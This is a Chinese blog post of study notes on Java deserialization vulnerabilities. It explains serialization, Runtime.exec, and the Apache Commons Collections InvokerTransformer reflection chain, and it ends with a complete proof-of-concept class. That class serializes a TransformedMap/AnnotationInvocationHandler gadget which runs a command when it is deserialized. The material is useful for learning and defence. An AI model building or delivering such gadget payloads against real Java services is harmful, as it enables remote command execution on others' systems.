java反序列化漏洞原理研习
零、Java反序列化漏洞
java的安全问题首屈一指的就是反序列化漏洞,可以执行命令啊,甚至直接getshell,所以趁着这个假期好好研究一下java的反序列化漏洞。另外呢,组里多位大佬对反序列化漏洞都有颇深的研究,借此机会,努力学习,作为狼群中的哈士奇希望成功的继续伪装下去,不被识破,哈哈哈哈!!!
参考文档:感谢所有参考文献的作者:
1、https://www.cnblogs.com/bencakes/p/6139477.html
2、https://www.cnblogs.com/ssooking/p/5875215.html
3、https://www.cnblogs.com/xdp-gacl/p/3777987.html
一、Java的序列化与反序列化:
在这里我们直接自己定义一个类,然后对这个类的对象(一个实例)进行序列化和发序列化测试。
//引入必要的java包文件
import java.io.*; //创建测试类,注意要继承Serializable接口
class serialdemo implements Serializable{
public static int number;
public serialdemo(int inputnum) {
this.number = inputnum;
}
} //主类
public class test{
//测试主类
public static void main(String[] args) throws IOException, ClassNotFoundException {
//主函数入口
serialdemo object = new serialdemo(100);
FileOutputStream fileoutputstream = new FileOutputStream("serail.ser");//创建文件写入对象
ObjectOutputStream outputstream = new ObjectOutputStream(fileoutputstream);//创建类型序列化通道对象
outputstream.writeObject(object);//把类对象(实例)序列化进入文件
outputstream.close();
FileInputStream fileinputstream = new FileInputStream("serail.ser");//从文件读取对象
ObjectInputStream inputstream = new ObjectInputStream(fileinputstream);//对象反序列化
// 通过反序列化恢复对象obj
serialdemo object2 = (serialdemo)inputstream.readObject();
System.out.println("反序列化后的对象的值:");
System.out.println(object2.number);
inputstream.close();
}
}
既然自己定义的类都可以了,那么默认的java存在的数据类型的实例当然也都可以啦~运行结果如下:
└─[$]> java test
反序列化后的对象的值:
二、对java序列化的详解:
1、api定位:
/*
java.io.ObjectOutputStream -> writeObject()
java.io.ObjectInputStream -> readObject()
序列化把对象序列化成字节流
反序列化读取字节流反序列化对象
*/
2、实现Serializable和Externalizable接口的类才能序列化与反序列化。
3、java的反射机制:
/*
在java运行状态中
1.对于任何一个类,都能判断对象所属的类;
2.对于任何一个类,都能获取其所有的属性和方法;
3.对于任何一个对象,都能调用任意一个方法和属性;
*/
三、反序列化的漏洞原理概述:
1、由于很多站点或者RMI仓库等接口处存在java的反序列化功能,攻击者可以通过构造特定的恶意对象序列化后的流,让目标反序列化,从而达到自己的恶意预期行为,包括命令执行,甚至getshell等等。
2、Apache Commons Collections
这是开源小组Apache研发的一个Collections收集器框架,提供诸如list、set、queue等功能对象。这个框架中有一个接口,其中有一个实现该接口的类可以通过调用java的反射机制来调用任意函数,这个接口类是InvokerTransformer。这个架构的广泛使用,也导致了java反序列化漏洞的大面积流行。
3、java执行系统命令:
//命令执行函数
public void test() throws IOException, InterruptedException {
Process process = Runtime.getRuntime().exec("whoami");
InputStream inputstream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputstream));
process.waitFor();
if (process.exitValue() != 0) {
//说明命令执行失败
//可以进入到错误处理步骤中
}
//打印输出信息
String s = null;
while ((s = reader.readLine()) != null) {
System.out.println(s);
}
}
简介:
Runtime.getRuntime().exec("command_string");
回显呢:
Process process = Runtime.getRuntime().exec("command_string");
InputStream inputstream = process.getInputStream();
BufferReader reader = new BufferReader(new InputStreamReader(inputstream));
System.out.prinln(reader.readLine());
把上面结合起来就是序列化的打法。
四、关于反射链
以前一直不理解反射链是什么定西,现在我们来看看接口源代码:
我们来理一理这一段:
开始:
可以看出来这个方法,属于一个对象,输出另外一个对象,完成了类型的转换。同时这个接口还可以串联完成一系列的转换,构成反射链。
Apache Commons Collections中已经实现了一些常见的Transformer,其中有一个可以通过Java的反射机制来调用任意函数,叫做InvokerTransformer,代码如下:
public class InvokerTransformer implements Transformer, Serializable { ... /*
Input参数为要进行反射的对象,
iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型
iArgs为对应方法的参数
在invokeTransformer这个类的构造函数中我们可以发现,这三个参数均为可控参数
*/
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
} public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
} }只需要传入方法名、参数类型和参数,即可调用任意函数。
在这里,我们可以看到,先用ConstantTransformer()获取了Runtime类,接着反射调用getRuntime函数,再调用getRuntime的exec()函数,执行命令。依次调用关系为: Runtime --> getRuntime --> exec()。因此,我们要提前构造 ChainedTransformer链,它会按照我们设定的顺序依次调用Runtime, getRuntime,exec函数,进而执行命令。正式开始时,我们先构造一个TransformeMap实例,然后想办法修改它其中的数据,使其自动调用tansform()方法进行特定的变换(即我们之前设定好的)
五、poc原理分析:
参考大牛博客,给出一个原理解释知识点
ConstantTransformer
把一个对象转化为常量,并返回。 InvokerTransformer
通过反射,返回一个对象 ChainedTransformer
ChainedTransformer为链式的Transformer,会挨个执行我们定义Transformer
不得不说上面大牛博客分析的大段的代码原理我基本都不懂,因为不是java程序员的我对此真是摸不着头脑,但是我们可以做如下总结:
/*
1、java反序列化可以远程执行命令。
2、java执行命令用到Runtime.getRuntime().exec("whoami");
3、java在apache commons collections中存在InvokerTransoformer接口可以串联对对象进行转化,形成反射链。
4、ConstantTransformer可以把对象转换为常量返回。
5、ChainedTransformer为链式的Transformer,会挨个执行我们定义Transformer
6、AnnotationInvocationHandler类可以导致命令执行在readobject时候自动执行
*/
POC的思路:
/*
1)首先构造一个Map和一个能够执行代码的ChainedTransformer,
2)生成一个TransformedMap实例
3)实例化AnnotationInvocationHandler,并对其进行序列化,
4)当触发readObject()反序列化的时候,就能实现命令执行。
POC执行流程为 TransformedMap->AnnotationInvocationHandler.readObject()->setValue()- 漏洞成功触发
*/
分析大牛poc核心代码逻辑:
/*
核心逻辑表达式:
((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
主函数中:
1、定义一个要执行的命令字符串:String commandstring = "whoami";
2、定义一个执行逻辑:
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null})
new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring})
}
3、执行逻辑转化操作(ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作):
Transformer transformedChain = new ChainedTransformer(transformers);
4、后面是关于不关心的东西,写死即可:
Map<String,String> BeforeTransformerMap = new HashMap<String,String>();
BeforeTransformerMap.put("hello", "hello");
Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, AfterTransformerMap);
File f = new File("temp.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
*/ //引入必要的java包文件
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry; //引入第三方包文件,也就是关于apache的那几个包
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap; //主类
public class POC_Test{
public static void main(String[] args) throws Exception {
//定义待执行的命令:
String commandstring = "whoami";
//定义一个反射链,确定预定的转化逻辑
/*
定义一个反射链的方法:
Transformer[] varitename = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null})
new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring})
}
*/
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
/*
由于Method类的invoke(Object obj,Object args[])方法的定义
所以在反射内写new Class[] {Object.class, Object[].class }
正常POC流程举例:
((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
*/
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class,Object[].class },
new Object[] {null, null }
),
new InvokerTransformer(
"exec",
new Class[] {String[].class },
new Object[] { commandstring }
//new Object[] { execArgs }
)
}; //transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作
Transformer transformedChain = new ChainedTransformer(transformers); //BeforeTransformerMap: Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict
//Map<String, String> BeforeTransformerMap = new HashMap<String, String>();
Map<String,String> BeforeTransformerMap = new HashMap<String,String>();
BeforeTransformerMap.put("hello", "hello"); //Map数据结构,转换后的Map
/*
TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。
第一个参数为待转化的Map对象
第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
第三个参数为Map对象内的value要经过的转化方法。
*/
//TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null));
Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, AfterTransformerMap);
File f = new File("temp.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
}
} /*
思路:构建BeforeTransformerMap的键值对,为其赋值,
利用TransformedMap的decorate方法,对Map数据结构的key/value进行transforme
对BeforeTransformerMap的value进行转换,当BeforeTransformerMap的value执行完一个完整转换链,就完成了命令执行 执行本质: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........)
利用反射调用Runtime() 执行了一段系统命令, Runtime.getRuntime().exec() */
java反序列化漏洞原理研习的更多相关文章
- Java反序列化漏洞原理解析(案例未完善后续补充)
序列化与反序列化 序列化用途:方便于对象在网络中的传输和存储 java的反序列化 序列化就是将对象转换为流,利于储存和传输的格式 反序列化与序列化相反,将流转换为对象 例如:json序列化.XML序列 ...
- JAVA反序列化漏洞基础原理
JAVA反序列化漏洞基础原理 1.1 什么是序列化和反序列化? Java序列化是指把Java对象转换为字节序列的过程: Java反序列化是指把字节序列恢复为Java对象的过程: 1.2 为什么要序列化 ...
- Java反序列化漏洞通用利用分析
原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...
- Java反序列化漏洞实现
一.说明 以前去面试被问反序列化的原理只是笼统地答在参数中注入一些代码当其反序列化时被执行,其实“一些代码”是什么代码“反序列化”时为什么就会被执行并不懂:反来在运营商做乙方经常会因为java反反序列 ...
- Java反序列化漏洞之殇
ref:https://xz.aliyun.com/t/2043 小结: 3.2.2版本之前的Apache-CommonsCollections存在该漏洞(不只该包)1.漏洞触发场景 在java编写的 ...
- java 反序列化漏洞检测及修复
Jboss.Websphere和weblogic的反序列化漏洞已经出来一段时间了,还是有很多服务器没有解决这个漏洞: 反序列化漏洞原理参考:JAVA反序列化漏洞完整过程分析与调试 这里参考了网上的 J ...
- Java反序列化漏洞的挖掘、攻击与防御
一.Java反序列化漏洞的挖掘 1.黑盒流量分析: 在Java反序列化传送的包中,一般有两种传送方式,在TCP报文中,一般二进制流方式传输,在HTTP报文中,则大多以base64传输.因而在流量中有一 ...
- Lib之过?Java反序列化漏洞通用利用分析
转http://blog.chaitin.com/ 1 背景 2 Java反序列化漏洞简介 3 利用Apache Commons Collections实现远程代码执行 4 漏洞利用实例 4.1 利用 ...
- Java反序列化漏洞详解
Java反序列化漏洞从爆出到现在快2个月了,已有白帽子实现了jenkins,weblogic,jboss等的代码执行利用工具.本文对于Java反序列化的漏洞简述后,并对于Java反序列化的Poc进 ...
随机推荐
- python中网络编程基础
一:什么是c\s架构 1.c\s即client\server 客户端\服务端架构. 客户端因特定的请求而联系服务器并发送必要的数据等待服务器的回应最后完成请求 服务端:存在的意义就是等待客户端的请求, ...
- vue.js相关UI组件收集
内容 UI组件 开发框架 实用库 服务端 辅助工具 应用实例 Demo示例 ###UI组件 element ★9689 - 饿了么出品的Vue2的web UI工具套件 Vux ★6927 - 基于Vu ...
- python3+虹软2.0 离线人脸识别 demo
python3+虹软2.0的所有功能整合测试完成,并对虹软所有功能进行了封装,现提供demo主要功能,1.人脸识别2.人脸特征提取3.特征比对4.特征数据存储与比对其他特征没有添加 虹软SDK下载戳这 ...
- mint18.3 升级linux-libc-dev_4.4.0-102.132 导致外接显示屏无法旋转,设置分辨率
—————————————————— 补记: 虽然修改之后能旋转,重启还是不行,而且修改显示,经常卡死.还是在第二天早上重装了. 吸取教训,尽量不apt dist-upgrade,不升级内核. 这只是 ...
- qt.network.ssl: QSslSocket: cannot call unresolved function SSLv23_client_method
使用Qt编写程序访问知乎官网,程序报错 qt.network.ssl: QSslSocket: cannot call unresolved function SSLv23_client_method ...
- Error updating database:线程异常
SLF4J: Failed to load class "org.slf4j.impl.StaticLoggerBinder".SLF4J: See http://www.slf4 ...
- Asp.net core 学习笔记 ( OData )
2018-12-10 更新 : 从前我都是把 entity 直接用于 odata 曝露 api 给程序用. 如果这个程序是我们自己写的前端,这样的方式非常好,因为就好比前端可以直接对数据库每一个表做操 ...
- (转)基于C#的socket编程的TCP异步实现
一.摘要 本篇博文阐述基于TCP通信协议的异步实现. 二.实验平台 Visual Studio 2010 三.异步通信实现原理及常用方法 3.1 建立连接 在同步模式中,在服务器上使用Accept方法 ...
- (转)c# String与StringBuilder
阅读目录 1.什么时候用String?什么时候用StringBuilder? 2.String与StringBuilder的区别 总结 1.什么时候用String?什么时候用StringBuild ...
- Flutter学习之路---------第一个Flutter项目
Flutter是谷歌的移动UI框架,可以快速在iOS和Android上构建高质量的原生用户界面. Flutter可以与现有的代码一起工作.在全世界,Flutter正在被越来越多的开发者和组织使用,并且 ...

